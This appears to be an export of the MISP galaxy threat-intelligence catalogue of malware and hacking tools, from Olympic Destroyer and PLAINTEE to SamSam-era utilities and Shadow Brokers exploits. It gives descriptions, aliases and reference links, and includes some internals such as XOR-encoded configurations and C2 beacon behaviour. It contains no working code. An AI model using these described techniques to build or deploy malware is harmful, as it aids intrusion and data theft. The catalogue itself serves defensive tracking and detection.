The Winter Olympics this year is being held in Pyeongchang, South Korea. The Guardian, a UK Newspaper reported an article that suggested the Olympic computer systems suffered technical issues during the opening ceremony. Officials at the games confirmed some technical issues to non-critical systems and they completed recovery within around 12 hours. Sunday 11th February the Olympic games officials confirmed a cyber attack occurred but did not comment or speculate further. Talos have identified the samples, with moderate confidence, used in this attack. The infection vector is currently unknown as we continue to investigate. The samples identified, however, are not from adversaries looking for information from the games but instead they are aimed to disrupt the games. The samples analysed appear to perform only destructive functionality. There does not appear to be any exfiltration of data. Analysis shows that actors are again favouring legitimate pieces of software as PsExec functionality is identified within the sample. The destructive nature of this malware aims to render the machine unusable by deleting shadow copies, event logs and trying to use PsExec & WMI to further move through the environment. This is something we have witnessed previously with BadRabbit and Nyetya.

The tag is: *misp-galaxy:tool="Olympic Destroyer"*

View relationships graph

Olympic Destroyer has relationships with:

- similar: misp-galaxy:malpedia="Olympic Destroyer" with estimative-language:likelihood-probability="likely"

Table 7487. Table References

Links
https://blog.talosintelligence.com/2018/02/olympic-destroyer.html
https://www.bleepingcomputer.com/news/security/malware-that-hit-pyeongchang-olympics-deployed-in-new-attacks/

DDKONG

The malware in question is configured with the following three exported functions: ServiceMain,Rundll32Call, DllEntryPoint. The ServiceMain exported function indicates that this DLL is expected to be loaded as a service. If this function is successfully loaded, it will ultimately spawn a new instance of itself with the Rundll32Call export via a call to rundll32.exe. The Rundll32Call exported function begins by creating a named event named ‘RunOnce’. This event ensures that only a single instance of DDKong is executed at a given time. If this is the only instance of DDKong running at the time, the malware continues. If it’s not, it dies. This ensures that only a single instance of DDKong is executed at a given time. DDKong attempts to decode an embedded configuration using a single byte XOR key of 0xC3. After this configuration is decoded and parsed, DDKONG proceeds to send a beacon to the configured remote server via a raw TCP connection. The packet has a header of length 32 and an optional payload. In the beacon, no payload is provided, and as such, the length of this packet is set to zero. After it sends the beacon, the malware expects a response command of either 0x4 or 0x6. Both responses instruct the malware to download and load a remote plugin. In the event 0x4 is specified, the malware is instructed to load the exported 'InitAction' function. If 0x6 is specified, the malware is instructed to load the exported 'KernelDllCmdAction' function. Prior to downloading the plugin, the malware downloads a buffer that is concatenated with the embedded configuration and ultimately provided to the plugin at runtime. As we can see in the above text, two full file paths are included in this buffer, providing us with insight into the original malware family's name, as well as the author. After this buffer is collected, the malware downloads the plugin and loads the appropriate function. This plugin provides the attacker with the ability to both list files and download/upload files on the victim machine.

The tag is: *misp-galaxy:tool="DDKONG"*

View relationships graph

DDKONG has relationships with:

- similar: misp-galaxy:malpedia="DDKONG" with estimative-language:likelihood-probability="likely"

Table 7488. Table References

Links
https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/

PLAINTEE

This sample is configured with three exported functions: Add, Sub, DllEntryPoint. The DLL expects the export named 'Add' to be used when initially loaded. When this function is executed PLAINTEE executes a command in a new process to add persistence. Next, the malware calls the 'Sub' function which begins by spawning a mutex named 'microsoftfuckedupb' to ensure only a single instance is running at a given time. In addition, PLAINTEE will create a unique GUID via a call to CoCreateGuid() to be used as an identifier for the victim. The malware then proceeds to collect general system enumeration data about the infected machine and enters a loop where it will decode an embedded config blob and send an initial beacon to the C2 server. The configuration blob is encoded using a simple single-byte XOR scheme. The first byte of the string is used as the XOR key to in turn decode the remainder of the data. The malware then proceeds to beacon to the configured port via a custom UDP protocol. The network traffic is encoded in a similar fashion, with a random byte being selected as the first byte, which is then used to decode the remainder of the packet via XOR. This beacon is continuously sent out until a valid response is obtained from the C2 server (there is no sleep timer set). After the initial beacon, there is a two second delay in between all other requests made. This response is expected to have a return command of 0x66660002 and to contain the same GUID that was sent to the C2 server. Once this response is received, the malware spawns several new threads, with different Command parameters, with the overall objective of loading and executing a new plugin that is to be received from the C2 server. During a file analysis of PLAINTEE in WildFire, we observed the attackers download and execute a plugin during the runtime for that sample. PLAINTEE expects the downloaded plugin to be a DLL with an export function of either 'shell' or 'file'. The plugin uses the same network protocol as PLAINTEE and so we were able to trivially decode further commands that were sent. The following commands were observed: tasklist, ipconfig /all. The attacker performed these two commands 33 seconds apart. As automated commands are typically performed more quickly this indicates that they may have been sent manually by the attacker.

The tag is: *misp-galaxy:tool="PLAINTEE"*

View relationships graph

PLAINTEE has relationships with:

- similar: misp-galaxy:malpedia="PLAINTEE" with estimative-language:likelihood-probability="likely"

Table 7489. Table References

Links
https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/

Koadic

Koadic, or COM Command & Control, is a Windows post-exploitation rootkit similar to other penetration testing tools such as Meterpreter and Powershell Empire. The major difference is that Koadic does most of its operations using Windows Script Host

The tag is: *misp-galaxy:tool="Koadic"*

View relationships graph

Koadic has relationships with:

- similar: misp-galaxy:malpedia="Koadic" with estimative-language:likelihood-probability="likely"

Table 7490. Table References

Links
https://github.com/zerosum0x0/koadic
https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/

Bisonal

In early May, Unit 42 discovered an attack campaign against at least one defense company in Russia and one unidentified organization in South Korea delivering a variant of Bisonal malware. While not previously publicly documented, the variant has been in the wild since at least 2014. There are three primary differences between it and older Bisonal malware including a different cipher and encryption for C2 communication, and a large rewrite of the code for both network communication and maintaining persistence. To date, we have only collected 14 samples of this variant, indicating it may be sparingly used. The adversary behind these attacks lured the targets into launching the Microsoft Windows executable malware by masquerading it as a PDF file (using a fake PDF icon) and reusing publicly available data for the decoy PDF file's contents. Attacks using Bisonal have been blogged about in the past. In 2013, both COSEINC and FireEye revealed attacks using Bisonal against Japanese organizations . In October 2017, AhnLab published a report called "Operation Bitter Biscuit," an attack campaign against South Korea, Japan, India and Russia using Bisonal and its successors, Bioazih and Dexbia.

The tag is: *misp-galaxy:tool="Bisonal"*

View relationships graph

Bisonal has relationships with:

- similar: misp-galaxy:malpedia="Korlia" with estimative-language:likelihood-probability="likely"

Table 7491. Table References

Links
https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/
https://camal.coseinc.com/publish/2013Bisonal.pdf

Sekur

Sekur has been CARBON SPIDER's primary tool for several years, although usage over the last year appears to have declined. It contains all the functionality you would expect from a RAT, allowing the adversary to execute commands, manage the file system, manage processes, and collect data. In addition, it can record videos of victim sessions, log keystrokes, enable remote desktop, or install Ammyy Admin or VNC modules. From July 2014 on, samples were compiled with the capability to target Epicor POS systems and to collect credit card data.

The tag is: *misp-galaxy:tool="Sekur"*

Table 7492. Table References

Links
https://www.crowdstrike.com/blog/arrests-put-new-focus-on-carbon-spider-adversary-group/

Agent ORM

Agent ORM began circulating alongside Skeur in campaigns throughout the second half of 2015. The malware collects basic system information and is able to take screenshots of victim systems. It is used to download next-stage payloads when systems of interest are identified. It is strongly suspected that Agent ORM has been deprecated in favor of script-based first-stage implants (VB Flash, JS Flash, and Bateleur).

The tag is: *misp-galaxy:tool="Agent ORM"*

Agent ORM is also known as:

- Tosliph
- DRIFTPIN

Table 7493. Table References

Links
https://www.crowdstrike.com/blog/arrests-put-new-focus-on-carbon-spider-adversary-group/

VB Flash

VB Flash was first observed being deployed alongside Agent ORM in September 2015. It is likely that this was developed as a replacement to Agent ORM and contained similar capabilities. The first observed instance of VB Flash included comments and was easy to analyze—later versions soon began to integrate multiple layers of obfuscation. Several versions of VB Flash were developed including ones that utilized Google Forms, Google Macros, and Google Spreadsheets together to make a command-and-control (C2) channel. This variant would POST victim data to a specified Google form, then make a request to a Google macro script, receiving an address for a Google Spreadsheet from which to request commands.

The tag is: *misp-galaxy:tool="VB Flash"*

VB Flash is also known as:

- HALFBAKED

View relationships graph

VB Flash has relationships with:

- similar: misp-galaxy:mitre-malware="HALFBAKED - S0151" with estimative-language:likelihood-probability="likely"

Table 7494. Table References

Links
https://www.crowdstrike.com/blog/arrests-put-new-focus-on-carbon-spider-adversary-group/

JS Flash

JS Flash capabilities closely resemble those of VB Flash and leverage interesting techniques in deployment via batch scripts embedded as OLE objects in malicious documents. Many iterations of JS Flash were observed being tested before deployment, containing minor changes to obfuscation and more complex additions, such as the ability to download TinyMet (a cutdown of the Metasploit Meterpreter payload). PowerShell was also used heavily for the execution of commands and arbitrary script execution. No JS Flash samples were observed being deployed after November 2017.

The tag is: *misp-galaxy:tool="JS Flash"*

JS Flash is also known as:

- JavaScript variant of HALFBAKED

Table 7495. Table References

Links
https://www.crowdstrike.com/blog/arrests-put-new-focus-on-carbon-spider-adversary-group/

Bateleur

Bateleur deployments began not long after JS Flash and were also written in JavaScript. Deployments were more infrequent and testing was not observed. It is likely that Bateleur was run in parallel as an alternative tool and eventually replaced JS Flash as CARBON SPIDER's first stage tool of choice. Although much simpler in design than JS Flash, all executing out of a single script with more basic obfuscation, Bateleur has a wealth of capabilities—including the ability to download arbitrary scripts and executables, deploy TinyMet, execute commands via PowerShell, deploy a credential stealer, and collect victim system information such as screenshots.

The tag is: *misp-galaxy:tool="Bateleur"*

View relationships graph

Bateleur has relationships with:

- similar: misp-galaxy:malpedia="Bateleur" with estimative-language:likelihood-probability="likely"

Table 7496. Table References

Links
https://www.crowdstrike.com/blog/arrests-put-new-focus-on-carbon-spider-adversary-group/

JexBoss

A tool for testing and exploiting vulnerabilities in JBoss Application Servers.

The tag is: *misp-galaxy:tool="JexBoss"*

Table 7497. Table References

Links
https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-The-Almost-Six-Million-Dollar-Ransomware.pdf

reGeorg

“Provides TCP tunneling over HTTP and bolts a SOCKS4/5 proxy on top of it, so, reGeorg is a fully-functional SOCKS proxy and gives ability to analyze target internal network.”

The tag is: *misp-galaxy:tool="reGeorg"*

View relationships graph

reGeorg has relationships with:

- similar: misp-galaxy:malpedia="reGeorg" with estimative-language:likelihood-probability="likely"

Table 7498. Table References

Links
https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-The-Almost-Six-Million-Dollar-Ransomware.pdf

Hyena

An Active Directory and Windows system management software, which can be used for remote administration of servers and workstations.

The tag is: *misp-galaxy:tool="Hyena"*

Table 7499. Table References

Links
https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-The-Almost-Six-Million-Dollar-Ransomware.pdf

csvde.exe

Imports and exports data from Active Directory Lightweight Directory Services (AD LDS) using files that store data in the comma-separated value (CSV) format.

The tag is: *misp-galaxy:tool="csvde.exe"*

Table 7500. Table References

Links
https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-The-Almost-Six-Million-Dollar-Ransomware.pdf

NLBrute

A tool to brute-force Remote Desktop Protocol (RDP) passwords.

The tag is: *misp-galaxy:tool="NLBrute"*

Table 7501. Table References

Links
https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-The-Almost-Six-Million-Dollar-Ransomware.pdf

xDedic RDP Patch

Used to create new RDP user accounts.

The tag is: *misp-galaxy:tool="xDedic RDP Patch"*

Table 7502. Table References

Links
https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-The-Almost-Six-Million-Dollar-Ransomware.pdf

xDedic SysScan

Used to profile servers for potential sale on the dark net

The tag is: *misp-galaxy:tool="xDedic SysScan"*

Table 7503. Table References

Links
https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-The-Almost-Six-Million-Dollar-Ransomware.pdf

Wmiexec

A PsExec-like tool, which executes commands through Windows Management Instrumentation (WMI).

The tag is: *misp-galaxy:tool="Wmiexec"*

Table 7504. Table References

Links
https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-The-Almost-Six-Million-Dollar-Ransomware.pdf

RDPWrap

Allows a user to be logged in both locally and remotely at the same time.

The tag is: *misp-galaxy:tool="RDPWrap"*

Table 7505. Table References

Links
https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-The-Almost-Six-Million-Dollar-Ransomware.pdf

PsExec

A light-weight telnet-replacement that lets you execute processes on other systems, complete with full interactivity for console applications, without having to manually install client software. When a command is executed on a remote computer using PsExec, then the service PSEXESVC will be installed on that system, which means that an executable called psexesvc.exe will execute the commands.

The tag is: *misp-galaxy:tool="PsExec"*

View relationships graph

PsExec has relationships with:

- similar: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="likely"

Table 7506. Table References

Links
https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-The-Almost-Six-Million-Dollar-Ransomware.pdf

PAExec

A PsExec-like tool, which lets you launch Windows programs on remote Windows computers without needing to install software on the remote computer first. When the PAExec service is running on the remote computer, the name of the source system is added to service’s name, e.g., paexec-<id>-<source computer name>.exe, which can help to identify the entry point of the attack.

The tag is: *misp-galaxy:tool="PAExec"*

Table 7507. Table References

Links
https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-The-Almost-Six-Million-Dollar-Ransomware.pdf

KEYMARBLE

This Malware Analysis Report (MAR) is the result of analytic efforts between Department of Homeland Security (DHS) and the Federal Bureau of Investigation (FBI). Working with U.S. Government partners, DHS and FBI identified Trojan malware variants used by the North Korean government. This malware variant has been identified as KEYMARBLE. The U.S. Government refers to malicious cyber activity by the North Korean government as HIDDEN COBRA. For more information on HIDDEN COBRA activity.

The tag is: *misp-galaxy:tool="KEYMARBLE"*

View relationships graph

KEYMARBLE has relationships with:

- similar: misp-galaxy:malpedia="KEYMARBLE" with estimative-language:likelihood-probability="likely"

Table 7508. Table References

Links
https://www.us-cert.gov/ncas/analysis-reports/AR18-221A

BISKVIT

The BISKVIT Trojan is a multi-component malware written in C#. We dubbed this malware BISKVIT based on the namespaces used in the code, which contain the word “biscuit”. Unfortunately, there is already an existing unrelated malware called BISCUIT, so BISKVIT is used instead, which is the Russian translation of biscuit.

The tag is: *misp-galaxy:tool="BISKVIT"*

Table 7509. Table References

Links
https://www.fortinet.com/blog/threat-research/russian-army-exhibition-decoy-leads-to-new-biskvit-malware.html

Sirefef

This family of malware uses stealth to hide its presence on your PC. Trojans in this family can do different things, including: -Downloading and running other files -Contacting remote hosts -Disabling security features Members of the family can also change search results, which can generate money for the hackers who use Sirefef.

The tag is: *misp-galaxy:tool="Sirefef"*

Sirefef is also known as:

* Win32/Sirefef

Table 7510. Table References

Links
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Win32%2Fsirefef

MagentoCore Malware

A Dutch security researcher has lifted the veil on a massive website hacking campaign that has infected 7,339 Magento stores with a script that collects payment card data from people shopping on the sites. The script is what industry experts call a "payment card scraper" or "skimmer." Hackers breach sites and modify their source code to load the script along with its legitimate files. The script usually loads on store checkout pages and secretly records payment card details entered in payment forms, data that it later sends to a server under the hacker's control.

The tag is: *misp-galaxy:tool="MagentoCore Malware"*

Table 7511. Table References

Links
https://www.bleepingcomputer.com/news/security/magentocore-malware-found-on-7-339-magento-stores/

NotPetya

Threat actors deploy a tool, called NotPetya, with the purpose of encrypting data on victims' machines and rendering it unusable. The malware was spread through tax software that companies and individuals require for filing taxes in Ukraine. Australia, Estonia, Denmark, Lithuania, Ukraine, the United Kingdom, and the United States issued statements attributing NotPetya to Russian state-sponsored actors. In June 2018, the United States sanctioned Russian organizations believed to have assisted the Russian state-sponsored actors with the operation.

The tag is: *misp-galaxy:tool="NotPetya"*

NotPetya is also known as:

* Not Petya

View relationships graph

NotPetya has relationships with:

* similar: misp-galaxy:ransomware="Bad Rabbit" with estimative-language:likelihood-probability="likely"
* similar: misp-galaxy:malpedia="EternalPetya" with estimative-language:likelihood-probability="likely"

Table 7512. Table References

Links
https://www.cfr.org/interactive/cyber-operations/notpetya

Xbash

Xbash is a malware family that is targeting Linux and Microsoft Windows servers. We can tie this malware, which we have named Xbash, to the Iron Group, a threat actor group known for previous ransomware attacks. Xbash was developed using Python and converted into self-contained Linux ELF executables by abusing the legitimate tool PyInstaller for distribution. Xbash aimed on discovering unprotected services, deleting victim's MySQL, PostgreSQL and MongoDB databases, and ransom for Bitcoins. Linux based systems are targeted for ransomware and botnet capabilities. The ransomware targets and deletes linux databases and there is no evidence of any functionality that makes recovery even possible by payment the ransom. Where as, windows based systems are targeted for coinmining & self-propagating capabilities. Xbash spreads by attacking weak passwords and unpatched vulnerabilities.

The tag is: *misp-galaxy:tool="Xbash"*

Table 7513. Table References

Links
https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/

LoJax

rootkit for the Unified Extensible Firmware Interface (UEFI). Used by APT28. The researchers named the rootkit LoJax, after the malicious samples of the LoJack anti-theft software that were discovered earlier this year.

The tag is: *misp-galaxy:tool="LoJax"*

Table 7514. Table References

Links
https://www.bleepingcomputer.com/news/security/apt28-uses-lojax-first-uefi-rootkit-seen-in-the-wild/
https://www.bleepingcomputer.com/news/security/lojax-command-and-control-domains-still-active/

Chainshot

The new piece of malware, which received the name Chainshot, is used in the early stages of an attack to activate a downloader for the final payload in a malicious chain reaction.

The tag is: *misp-galaxy:tool="Chainshot"*

Table 7515. Table References

Links
https://www.bleepingcomputer.com/news/security/new-chainshot-malware-found-by-cracking-512-bit-rsa-key/

CroniX

The researchers named this campaign CroniX, a moniker that derives from the malware's use of Cron to achieve persistence and Xhide to launch executables with fake process names. The cryptocurrency minted on victim's computers is Monero (XMR), the coin of choice in cryptojacking activities. To make sure that rival activity does not revive, CroniX deletes the binaries of other cryptominers present on the system. Another action CroniX takes to establish supremacy on the machine is to check the names of the processes and kill those that swallow 60% of the CPU or more.

The tag is: *misp-galaxy:tool="CroniX"*

Table 7516. Table References

Links
https://www.bleepingcomputer.com/news/security/cronix-cryptominer-kills-rivals-to-reign-supreme/

FASTCash

Treasury has identified a sophisticated cyber-enabled ATM cash out campaign we are calling FASTCash. FASTCash has been active since late 2016 targeting banks in Africa and Asia to remotely compromise payment switch application servers within banks to facilitate fraudulent transactions, primarily involving ATMs, to steal cash equivalent to tens of millions of dollars. FBI has attributed malware used in this campaign to the North Korean government. We expect FASTCash to continue targeting retail payment systems vulnerable to remote exploitation.

The tag is: *misp-galaxy:tool="FASTCash"*

Zebrocy

Zebrocy is a tool used by APT28, which has been observed since late 2015. The communications module used by Zebrocy transmits using HTTP. The implant has key logging and file exfiltration functionality and utilises a file collection capability that identifies files with particular extensions.

The tag is: *misp-galaxy:tool="Zebrocy"*

Zebrocy is also known as:

- Zekapab

Table 7517. Table References

Links

https://www.ncsc.gov.uk/alerts/indicators-compromise-malware-used-apt28

CoalaBot

The tag is: *misp-galaxy:tool="CoalaBot"*

DanderSpritz

DanderSpritz consists entirely of plugins to gather intelligence, use exploits and examine already controlled machines. It is written in Java and provides a graphical windows interface similar to botnets administrative panels as well as a Metasploit-like console interface. It also includes its own backdoors and plugins for not-FuzzBunch-controlled victims DanderSpritz is the framework for controlling infected machines, different from FuZZbuNch as the latter provides a limited toolkit for the post-exploitation stage with specific functions such as DisableSecurity and EnableSecurity for DarkPulsar. For DanderSpritz works for a larger range of backdoors, using PeedleCheap in the victim to enable operators launching plugins. PeddleCheap is a plugin of DanderSpritz which can be used to configure implants and connect to infected machines. Once a connection is established all DanderSpritz post-exploitation features become available.

The tag is: *misp-galaxy:tool="DanderSpritz"*

DanderSpritz is also known as:

- Dander Spritz

Table 7518. Table References

Links
https://securelist.com/darkpulsar/88199/

DarkPulsar

DarkPulsar is a very interesting administrative module for controlling a passive backdoor named ‘sipauth32.tsp’ that provides remote control.

The tag is: *misp-galaxy:tool="DarkPulsar"*

DarkPulsar is also known as:

- Dark Pulsar

Table 7519. Table References

Links
https://securelist.com/darkpulsar/88199/

EASYFUN

EasyFun 2.2.0 Exploit for WDaemon / IIS MDaemon/WorldClient pre 9.5.6 WordClient / IIS6.0 exploit

The tag is: *misp-galaxy:tool="EASYFUN"*

Table 7520. Table References

Links
https://github.com/misterch0c/shadowbroker

ETCETERABLUE

an exploit for IMail 7.04 to 8.05

The tag is: *misp-galaxy:tool="ETCETERABLUE"*

Table 7521. Table References

Links
https://github.com/misterch0c/shadowbroker

EXPIREDPAYCHECK

IIS6 exploit

The tag is: *misp-galaxy:tool="EXPIREDPAYCHECK"*

Table 7522. Table References

Links
https://github.com/misterch0c/shadowbroker

EAGERLEVER

NBT/SMB exploit for Windows NT4.0, 2000, XP SP1 & SP2, 2003 SP1 & Base Release

The tag is: *misp-galaxy:tool="EAGERLEVER"*

Table 7523. Table References

Links
https://github.com/misterch0c/shadowbroker

ESSAYKEYNOTE

The tag is: *misp-galaxy:tool="ESSAYKEYNOTE"*

Table 7524. Table References

Links
https://github.com/misterch0c/shadowbroker

EVADEFRED

The tag is: *misp-galaxy:tool="EVADEFRED"*

Table 7525. Table References

Links
https://github.com/misterch0c/shadowbroker

NAMEDPIPETOUCH

Utility to test for a predefined list of named pipes, mostly AV detection. User can add checks for custom named pipes.

The tag is: *misp-galaxy:tool="NAMEDPIPETOUCH"*

Table 7526. Table References

Links
https://github.com/misterch0c/shadowbroker

GhostMiner

GhostMiner is a new cryptocurrency mining malware. By the end of March 2018, a new variant of mining malware was detected targeting MSSQL, phpMyAdmin, and Oracle WebLogic servers. The sample uses Powershell to execute code with volatile resources and scans the server's processes to detect and stop other miners that might have been running prior to execution. The fileless malware has become more popular in the last years. The malicious code runs directly in main memory without writing any file on disk, where an antivirus engine could detect it.

The tag is: *misp-galaxy:tool="GhostMiner"*

Table 7527. Table References

Links
https://www.alienvault.com/forums/discussion/17301/alienvault-labs-threat-intelligence-update-for-usm-anywhere-march-25-march-31-2018

August

August contains stealing functionality targeting credentials and sensitive documents from the infected computer.

The tag is: *misp-galaxy:tool="August"*

August is also known as:

- August Stealer

Table 7528. Table References

Links
https://www.proofpoint.com/uk/threat-insight/post/august-in-december-new-information-stealer-hits-the-scene

China Chopper

China Chopper is a publicly available, well-documented web shell, in widespread use since 2012.

The tag is: *misp-galaxy:tool="China Chopper"*

Table 7529. Table References

Links
https://www.ncsc.gov.uk/content/files/protected_files/article_files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf

PNG Dropper

The PNG_dropper family primarily uses a modified version of the publicly available tool JPEGView.exe (version 1.0.32.1 – both x86 and x64 bit versions). Carbon Black Threat Research also observed where PNG_dropper malware was seen compiled into a modified version of the 7-Zip File Manager Utility (version 9.36.0.0 – x64 bit).

The tag is: *misp-galaxy:tool="PNG Dropper"*

PNG Dropper is also known as:

- PNG_Dropper
- PNGDropper

Table 7530. Table References

Links
https://www.carbonblack.com/2017/08/18/threat-analysis-carbon-black-threat-research-dissects-png-dropper/
https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/november/turla-png-dropper-is-back/

Rotexy

A mobile spyware that turned into a banking trojan with ransomware capabilities managed to launch over 70,000 attacks in the course of just three months.

The tag is: *misp-galaxy:tool="Rotexy"*

Rotexy is also known as:

- SMSThief

Table 7531. Table References

Links
https://www.bleepingcomputer.com/news/security/rotexy-mobile-trojan-launches-70k-attacks-in-three-months/

KingMiner

A recently discovered cryptomining operation forces access to Windows servers to use their CPU cycles for mining Monero coins. Detected six months ago, the activity went through multiple stages of evolution. Since it was spotted in mid-June, the malware received two updates and the number of attacks keeps increasing. The researchers at CheckPoint analyzed the new threat and gave it the name KingMiner. They found that it targets Microsoft IIS and SQL Servers in particular and runs a brute-force attack to gain access. Once in, the malware determines the CPU architecture and checks for older versions of itself to remove them.

The tag is: *misp-galaxy:tool="KingMiner"*

Table 7532. Table References

Links
https://www.bleepingcomputer.com/news/security/new-kingminer-threat-shows-cryptominer-evolution/

Taurus

Toolkit - building kit for crafting documents used to deliver attacks

The tag is: *misp-galaxy:tool="Taurus"*

Table 7533. Table References

Links
https://medium.com/@quoscient/golden-chickens-uncovering-a-malware-as-a-service-maas-provider-and-two-new-threat-actors-using-61cf0cb87648

Terra Loader

The tag is: *misp-galaxy:tool="Terra Loader"*

Table 7534. Table References

Links
https://medium.com/@quoscient/golden-chickens-uncovering-a-malware-as-a-service-maas-provider-and-two-new-threat-actors-using-61cf0cb87648

SpicyOmelette

In 2018, CTU researchers observed several GOLD KINGSWOOD campaigns involving SpicyOmelette, a tool used by the group during initial exploitation of an organization. This sophisticated JavaScript remote access tool is generally delivered via phishing, and it uses multiple defense evasion techniques to hinder prevention and detection activities. GOLD KINGSWOOD delivered SpicyOmelette through a phishing email containing a shortened link that appeared to be a PDF document attachment. When clicked, the link used the Google AppEngine to redirect the system to a GOLD KINGSWOOD-controlled Amazon Web Services (AWS) URL that installed a signed JavaScript file, which was SpicyOmelette.

The tag is: *misp-galaxy:tool="SpicyOmelette"*

Table 7535. Table References

Links
https://medium.com/@quoscient/golden-chickens-uncovering-a-malware-as-a-service-maas-provider-and-two-new-threat-actors-using-61cf0cb87648
https://www.secureworks.com/blog/cybercriminals-increasingly-trying-to-ensnare-the-big-financial-fish

LamePyre

When LamePyre runs on the system, users see the generic Automator icon in the menu bar, which is typical for any script of this sort. The script decodes a payload written in Python and runs it on the victim host. It then starts to take pictures and upload them to the attacker's command and control (C2) server.

The tag is: *misp-galaxy:tool="LamePyre"*

LamePyre is also known as:

- OSX.LamePyre

Table 7536. Table References

Links

https://www.bleepingcomputer.com/news/security/new-lamepyre-macos-malware-sends-screenshots-to-attacker/

DarthMiner

The tag is: *misp-galaxy:tool="DarthMiner"*

Table 7537. Table References

Links
https://www.bleepingcomputer.com/news/security/new-lamepyre-macos-malware-sends-screenshots-to-attacker/

OSX.BadWord

The tag is: *misp-galaxy:tool="OSX.BadWord"*

Table 7538. Table References

Links
https://www.bleepingcomputer.com/news/security/new-lamepyre-macos-malware-sends-screenshots-to-attacker/

OSX/Shlayer

The initial Trojan horse infection (the fake Flash Player installer) component of OSX/Shlayer leverages shell scripts to download additional malware or adware onto the infected system. The primary goal of OSX/Shlayer is to download and install adware onto an infected Mac. Although "adware" may not sound like a big deal, it can be a lot more harmful than the name implies; be sure to watch our aforementioned interview with Amit Serper to learn more about one particular example of malicious Mac adware. At least one variant of the malware also appears to exhibit an interesting behavior: It checks whether one of several Mac anti-virus products is installed.

The tag is: *misp-galaxy:tool="OSX/Shlayer"*

Table 7539. Table References

Links
https://www.intego.com/mac-security-blog/osxshlayer-new-mac-malware-comes-out-of-its-shell/

Bushaloader

The tag is: *misp-galaxy:tool="Bushaloader"*

Table 7540. Table References

Links

https://www.virusbulletin.com/blog/2019/02/malspam-security-products-miss-banking-and-email-phishing-emotet-and-bushaloader/

ANEL

Backdoor

The tag is: *misp-galaxy:tool="ANEL"*

ANEL is also known as:

- UPPERCUT

Table 7541. Table References

Links
https://blog.trendmicro.com/trendlabs-security-intelligence/chessmaster-adds-updated-tools-to-its-arsenal/
https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html

BabyShark

BabyShark is a relatively new malware. The earliest sample we found from open source repositories and our internal data sets was seen in November 2018. The malware is launched by executing the first stage HTA from a remote location, thus it can be delivered via different file types including PE files as well as malicious documents. It exfiltrates system information to C2 server, maintains persistence on the system, and waits for further instruction from the operator.

The tag is: *misp-galaxy:tool="BabyShark"*

Table 7542. Table References

Links
https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/

StealthWorker

Hackers are running a new campaign which drops the StealthWorker brute-force malware on Windows and Linux machines that end up being used to brute force other computers in a series of distributed brute force attacks. As unearthed by FortiGuard Labs' Rommel Joven, the StealthWorker Golang-based brute forcer (also known as GoBrut) discovered by Malwarebytes at the end of February is actively being used to target and compromise multiple platforms. StealthWorker was previously connected to a number of compromised Magento-powered e-commerce websites on which attackers infiltrated skimmers designed to exfiltrate both payment and personal information. As later discovered, the malware is capable of exploiting a number of vulnerabilities in to infiltrate Magento, phpMyAdmin, and cPanel Content Management Systems (CMSs), as well as brute force its way in if everything else fails.

The tag is: *misp-galaxy:tool="StealthWorker"*

Table 7543. Table References

Links
https://www.bleepingcomputer.com/news/security/stealthworker-malware-uses-windows-linux-bots-to-hack-websites/

SLUB Backdoor

The SLUB backdoor is a custom one written in the C++ programming language, statically linking curl library to perform multiple HTTP requests. Other statically-linked libraries are boost (for extracting commands from gist snippets) and JsonCpp (for parsing slack channel communication).

The tag is: *misp-galaxy:tool="SLUB Backdoor"*

View relationships graph

SLUB Backdoor has relationships with:

- similar: misp-galaxy:backdoor="SLUB" with estimative-language:likelihood-probability="likely"

Table 7544. Table References

Links
https://blog.trendmicro.com/trendlabs-security-intelligence/new-slub-backdoor-uses-github-communicates-via-slack/

Carp Downloader

In 2017, Unit 42 reported on and analyzed a low-volume malware family called Cardinal RAT. This malware family had remained undetected for over two years and was delivered via a unique downloader named Carp Downloader.

The tag is: *misp-galaxy:tool="Carp Downloader"*

Table 7545. Table References

Links
https://unit42.paloaltonetworks.com/cardinal-rat-sins-again-targets-israeli-fin-tech-firms/

EVILNUM

EVILNUM is a JavaScript-based malware family that is used in attacks against similar organizations.

The tag is: *misp-galaxy:tool="EVILNUM"*

View relationships graph

EVILNUM has relationships with:

- similar: misp-galaxy:rat="Cardinal" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Cardinal RAT" with estimative-language:likelihood-probability="likely"

Table 7546. Table References

Links
https://unit42.paloaltonetworks.com/cardinal-rat-sins-again-targets-israeli-fin-tech-firms/

Brushaloader

Brushaloader also leverages a combination of VBScript and PowerShell to create a Remote Access Trojan (RAT) that allows persistent command execution on infected systems.

The tag is: *misp-galaxy:tool="Brushaloader"*

Table 7547. Table References

Links
https://blog.talosintelligence.com/2019/02/combing-through-brushaloader.html

Karkoff

